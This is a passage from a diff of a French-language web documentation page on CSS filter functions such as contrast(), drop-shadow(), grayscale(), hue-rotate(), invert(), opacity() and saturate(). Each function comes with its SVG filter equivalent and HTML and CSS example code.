+<p><strong>Note :</strong> Voir {{cssxref("filter-function/brightness", "brightness()")}} pour plus d'informations.</p>
+</div>
+
+<h3 id="contrast"><code>contrast()</code></h3>
+
+<p>Cette fonction permet d'ajuster le contraste de l'image d'entrée. Une valeur de <code>0%</code> créera une image entièrement grise. Une valeur de <code>100%</code> conservera l'image d'entrée telle quelle. Il est possible d'utiliser des valeurs supérieures à 100% pour augmenter le contraste. La valeur par défaut de l'argument est <code>1</code>.</p>
+
+<pre class="brush: css">filter: contrast(200%)
+</pre>
+
+<pre class="brush: html line-numbers  language-html">&lt;svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;filter id="contrast"&gt;
+    &lt;feComponentTransfer&gt;
+      &lt;feFuncR type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/&gt;
+      &lt;feFuncG type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/&gt;
+      &lt;feFuncB type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/&gt;
+    &lt;/feComponentTransfer&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<div id="contrast_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_3.jpeg" id="img1" src="/files/3712/Test_Form_3.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_3.jpg" id="img2" src="/files/3712/Test_Form_3.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 240 151"&gt;
+ &lt;filter id="contrast"&gt;
+    &lt;feComponentTransfer&gt;
+      &lt;feFuncR type="linear" slope="2" intercept="-0.5"/&gt;
+      &lt;feFuncG type="linear" slope="2" intercept="-0.5"/&gt;
+      &lt;feFuncB type="linear" slope="2" intercept="-0.5"/&gt;
+    &lt;/feComponentTransfer&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3712/Test_Form_3.jpeg" filter="url(#contrast)" width="240px" height="151px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_s.jpg" id="img4" src="/files/3713/Test_Form_3_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:contrast(200%);
+  -webkit-filter:contrast(200%);
+  -o-filter:contrast(200%);
+  -ms-filter:contrast(200%);
+  filter:contrast(200%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('contrast_example','100%','203px','')}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Voir {{cssxref("filter-function/contrast", "contrast()")}} pour plus d'informations.</p>
+</div>
+
+<h3 id="drop-shadow"><code>drop-shadow()</code></h3>
+
+<p>Cette fonction permet d'appliquer une ombre portée à l'image d'entrée. Une ombre portée est une version décalée, dans une couleur donnée, du canal alpha de l'image qui est affiché sous celle-ci. La fonction peut accepter une valeur de type {{cssxref("&lt;shadow&gt;")}} (définie dans la spécification CSS3 sur les arrière-plans), une exception : le mot-clé <code>inset</code> n'est pas autorisée. Cette fonction est semblable à la propriété {{cssxref("box-shadow")}} plus répandue ; seule différence : les navigateurs utilisent parfois l'accélération matérielle pour les filtres ce qui peut permettre d'obtenir de meilleurs performances. Les paramètres de l'argument <code>&lt;shadow&gt;</code> sont les suivants :</p>
+
+<dl>
+ <dt><code>&lt;offset-x&gt;</code> <code>&lt;offset-y&gt;</code> <small>(nécessaire)</small></dt>
+ <dd>Deux valeurs {{cssxref("&lt;length&gt;")}} qui indiquent le décalage de l'ombre portée. <code>&lt;offset-x&gt;</code> définit la distance horizontale : des valeurs négatives décaleront l'ombre à gauche de l'élément. <code>&lt;offset-y&gt;</code> définit la distance verticale : des valeurs négatives décaleront l'ombre au-dessus de l'élément. Se référer à la page {{cssxref("&lt;length&gt;")}} pour les différentes unités utilisables.<br>
+ Si les deux valeurs sont nulles, l'ombre sera exactement placée sous l'élément (et pourra servir à générer un effet de flou si <code>&lt;blur-radius&gt;</code> et/ou <code>&lt;spread-radius&gt;</code> sont utilisés).</dd>
+ <dt><code>&lt;blur-radius&gt;</code> <small>(optionnel)</small></dt>
+ <dd>Une troisième valeur de type {{cssxref("&lt;length&gt;")}}. Plus la valeur sera grande, plus le flou sera important (l'ombre sera plus grande et moins prononcée). Les valeurs négatives ne sont pas autorisée. La valeur par défaut est <code>0</code>, le bord de l'ombre sera droit.</dd>
+ <dt><code>&lt;spread-radius&gt;</code> <small>(optionnel)</small></dt>
+ <dd>Un quatrième valeur de type {{cssxref("&lt;length&gt;")}}. Des valeurs positives agrandiront l'ombre et les valeurs négatives réduiront l'ombre. La valeur par défaut est <code>0</code> (l'ombre aura la même taille que l'élément). </dd>
+ <dd>Note: Webkit, and maybe other browsers, do not support this 4th length; it will not render if added.</dd>
+ <dt><code>&lt;color&gt;</code> <small>(optionnel)</small></dt>
+ <dd>Voir {{cssxref("&lt;color&gt;")}} pour les mots-clés et notations possibles. Si ce paramètre n'est pas défini, la couleur choisie dépendra du navigateur. Pour Gecko (Firefox), Presto (Opera) et Trident (Internet Explorer), la valeur de la propriété {{cssxref("color")}} est utilisée. Pour WebKit, si la couleur est absente, l'ombre sera transparente (donc inutile).</dd>
+</dl>
+
+<pre class="brush: css">filter: drop-shadow(16px 16px 10px black)</pre>
+
+<pre class="brush: html line-numbers  language-html">&lt;svg style="position: absolute; top: -999999px" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;filter id="drop-shadow"&gt;
+    &lt;feGaussianBlur in="SourceAlpha" stdDeviation="[radius]"/&gt;
+    &lt;feOffset dx="[offset-x]" dy="[offset-y]" result="offsetblur"/&gt;
+    &lt;feFlood flood-color="[color]"/&gt;
+    &lt;feComposite in2="offsetblur" operator="in"/&gt;
+    &lt;feMerge&gt;
+      &lt;feMergeNode/&gt;
+      &lt;feMergeNode in="SourceGraphic"/&gt;
+    &lt;/feMerge&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<div id="shadow_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4.jpeg" id="img1" src="/files/3714/Test_Form_4.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4.jpg" id="img2" src="/files/3714/Test_Form_4.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 239 187"&gt;
+ &lt;filter id="drop-shadow"&gt;
+    &lt;feGaussianBlur in="SourceAlpha" stdDeviation="5"/&gt;
+    &lt;feOffset dx="16" dy="16"/&gt;
+    &lt;feMerge&gt;
+      &lt;feMergeNode/&gt;
+      &lt;feMergeNode in="SourceGraphic"/&gt;
+    &lt;/feMerge&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3714/Test_Form_4.jpeg" filter="url(#drop-shadow)" width="213px" height="161px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4_s.jpg" id="img4" src="/files/3715/Test_Form_4_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4 distorded border - Original image" id="img11" src="/files/8467/Test_Form_4_irregular-shape_opacity-gradient.png" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4 distorded border - Live example" id="img12" src="/files/8467/Test_Form_4_irregular-shape_opacity-gradient.png" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;
+        &lt;div class="svg-container"&gt;
+          &lt;svg xmlns="http://www.w3.org/2000/svg" id="img13" viewbox="0 0 239 187"&gt;
+            &lt;filter id="drop-shadow2"&gt;
+              &lt;feGaussianBlur in="SourceAlpha" stdDeviation="4"/&gt;
+              &lt;feOffset dx="8" dy="10"/&gt;
+              &lt;feMerge&gt;
+                &lt;feMergeNode/&gt;
+                &lt;feMergeNode in="SourceGraphic"/&gt;
+              &lt;/feMerge&gt;
+            &lt;/filter&gt;
+            &lt;image xlink:href="/files/8467/Test_Form_4_irregular-shape_opacity-gradient.png" filter="url(#drop-shadow2)" width="213px" height="161px" /&gt;
+          &lt;/svg&gt;
+        &lt;div&gt;
+      &lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4 distorded border drop shadow - Static example" id="img14" src="/files/8469/Test_Form_4_irregular-shape_opacity-gradient_drop-shadow.png" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: drop-shadow(16px 16px 10px black);
+  -webkit-filter: drop-shadow(16px 16px 10px black);
+  -o-filter: drop-shadow(16px 16px 10px black);
+  -ms-filter: drop-shadow(16px 16px 10px black);
+  filter: drop-shadow(16px 16px 10px black);
+}
+#img12 {
+  width:100%;
+  height:auto;
+  -moz-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+  -webkit-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+  -o-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+  -ms-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+  filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+}
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+#irregular-shape {
+  width: 64%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3, #img13 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('shadow_example','100%','300px','')}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Voir {{cssxref("filter-function/drop-shadow", "drop-shadow()")}} pour plus d'informations.</p>
+</div>
+
+<h3 id="grayscale"><code>grayscale()</code></h3>
+
+<p>L'image d'entrée est convertie en niveau de gris. La valeur de l'argument définit la force de cette conversion. En utilisant une valeur de <code>100%</code> sera complètement en niveaux de gris. <code>0%</code> conservera l'image telle quelle. La valeur par défaut du paramètre est <code>0</code>.</p>
+
+<pre class="brush: css">filter: grayscale(100%)</pre>
+
+<div id="grayscale_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_5.jpeg" id="img1" src="/files/3716/Test_Form_5.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_5.jpg" id="img2" src="/files/3716/Test_Form_5.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 276 184"&gt;
+ &lt;filter id="grayscale"&gt;
+    &lt;feColorMatrix type="matrix"
+               values="0.2126 0.7152 0.0722 0 0
+                       0.2126 0.7152 0.0722 0 0
+                       0.2126 0.7152 0.0722 0 0
+                       0 0 0 1 0"/&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3716/Test_Form_5.jpeg" filter="url(#grayscale)" width="276px" height="184px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_5_s.jpg" id="img4" src="/files/3717/Test_Form_5_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:grayscale(100%);
+  -webkit-filter:grayscale(100%);
+  -o-filter:grayscale(100%);
+  -ms-filter:grayscale(100%);
+  filter:grayscale(100%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('grayscale_example','100%','209px','')}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Voir {{cssxref("filter-function/grayscale", "grayscale()")}} pour plus d'informations.</p>
+</div>
+
+<h3 id="hue-rotate"><code>hue-rotate()</code></h3>
+
+<p>Cette fonction applique une rotation de teinte à l'image d'entrée. La valeur de l'angle passé en argument définit le nombre de degrés parcouru sur le cercle des couleurs. Une valeur de <code>0deg</code> conservera l'image telle quelle. La valeur par défaut du paramètre est <code>0deg</code>. Il n'y a pas de valeur maximale pour l'argument, si une valeur supérieure à <code>360deg</code> est utilisée, ce sera la mesure de l'angle correspondante qui sera utilisée.</p>
+
+<pre class="brush: css">filter: hue-rotate(90deg)</pre>
+
+<div id="huerotate_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_6.jpeg" id="img1" src="/files/3718/Test_Form_6.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_6.jpg" id="img2" src="/files/3718/Test_Form_6.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 266 190"&gt;
+ &lt;filter id="hue-rotate"&gt;
+    &lt;feColorMatrix type="hueRotate"
+               values="90"/&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3718/Test_Form_6.jpeg" filter="url(#hue-rotate)" width="266px" height="190px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_6_s.jpg" id="img4" src="/files/3719/Test_Form_6_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:hue-rotate(90deg);
+  -webkit-filter:hue-rotate(90deg);
+  -o-filter:hue-rotate(90deg);
+  -ms-filter:hue-rotate(90deg);
+  filter:hue-rotate(90deg); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;svg style="position: absolute; top: -999999px" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;filter id="svgHueRotate" &gt;
+    &lt;feColorMatrix type="hueRotate" values="[angle]" /&gt;
+  &lt;filter /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('huerotate_example','100%','221px','')}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Voir {{cssxref("filter-function/hue-rotate", "hue-rotate()")}} pour plus d'informations.</p>
+</div>
+
+<h3 id="invert"><code>invert()</code></h3>
+
+<p>Cette fonction permet d'inverser les couleurs de l'image d'entrée. La valeur de l'argument définit la force de cette inversion. Une valeur de <code>100%</code> inversera complètement les couleurs (tel un négatif) et une valeur <code>0%</code> conservera l'image d'entrée telle quelle. La valeur par défaut de l'argument est <code>0</code>.</p>
+
+<pre class="brush: css">filter: invert(100%)</pre>
+
+<div id="invert_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_7.jpeg" id="img1" src="/files/3720/Test_Form_7.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_7.jpg" id="img2" src="/files/3720/Test_Form_7.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 183 276"&gt;
+ &lt;filter id="invert"&gt;
+    &lt;feComponentTransfer&gt;
+        &lt;feFuncR type="table" tableValues="1 0"/&gt;
+        &lt;feFuncG type="table" tableValues="1 0"/&gt;
+        &lt;feFuncB type="table" tableValues="1 0"/&gt;
+    &lt;/feComponentTransfer&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3720/Test_Form_7.jpeg" filter="url(#invert)" width="183px" height="276px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_7_s.jpg" id="img4" src="/files/3721/Test_Form_7_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: invert(100%);
+  -webkit-filter: invert(100%);
+  -o-filter: invert(100%);
+  -ms-filter: invert(100%);
+  filter: invert(100%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('invert_example','100%','407px','')}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Voir {{cssxref("filter-function/invert", "invert()")}} pour plus d'informations.</p>
+</div>
+
+<h3 id="opacity"><code>opacity()</code></h3>
+
+<p>Cette fonction permet de régler l'opacité de l'image d'entrée. La valeur de l'argument indique la force de l'opacité. Ainsi, une valeur de <code>0%</code> rendra l'image complètement transparente et une valeur de <code>100%</code> conservera l'image telle quelle. Les valeurs intermédiaires appliqueront des effets proportionnels. La valeur par défaut de l'argument est <code>1</code>. Cette fonction est proche de la propriété {{cssxref("opacity")}}, toutefois, avec les filtres, certains navigateurs utilisent l'accélération matérielle, ce qui permet d'obtenir de meilleures performances.</p>
+
+<pre class="brush: css">filter: opacity(50%)</pre>
+
+<div id="opacity_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_14.jpeg" id="img1" src="/files/3725/Test_Form_14.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_14.jpg" id="img2" src="/files/3725/Test_Form_14.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 276 183"&gt;
+ &lt;filter id="opacity"&gt;
+    &lt;feComponentTransfer&gt;
+        &lt;feFuncA type="table" tableValues="0 0.5"&gt;
+    &lt;/feComponentTransfer&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3725/Test_Form_14.jpeg" filter="url(#opacity)" width="276px" height="183px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_14_s.jpg" id="img4" src="/files/3726/Test_Form_14_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: opacity(50%);
+  -webkit-filter: opacity(50%);
+  -o-filter: opacity(50%);
+  -ms-filter: opacity(50%);
+  filter: opacity(50%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('opacity_example','100%','210px','')}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Voir {{cssxref("filter-function/opacity", "opacity()")}} pour plus d'informations.</p>
+</div>
+
+<h3 id="saturate"><code>saturate()</code></h3>
+
+<p>L'image d'entrée est saturée. La valeur de l'argument indique la force de la saturation. Une valeur de <code>0%</code> fera que l'image sera totalement désaturée et une valeur de <code>100%</code> conservera l'image d'entrée telle quelle. Les valeurs intermédiaires auront un effet linéaire. Il est possible d'utiliser des valeurs supérieures à <code>100%</code> pour obtenir un effet de sursaturation. La valeur par défaut de l'argument est <code>1</code>.</p>
+
+<pre class="brush: css">filter: saturate(200%)</pre>
+
+<div id="saturate_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_9.jpeg" id="img1" src="/files/3722/Test_Form_9.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_9.jpg" id="img2" src="/files/3722/Test_Form_9.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 201 239"&gt;
+ &lt;filter id="saturate"&gt;
+    &lt;feColorMatrix type="saturate"
+               values="2"/&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3722/Test_Form_9.jpeg" filter="url(#saturate)" width="201px" height="239px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_9_s.jpg" id="img4" src="/files/3724/Test_Form_9_s.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: saturate(200%);
+  -webkit-filter: saturate(200%);
+  -o-filter: saturate(200%);
+  -ms-filter: saturate(200%);
+  filter: saturate(200%); }
+table.standard-table {
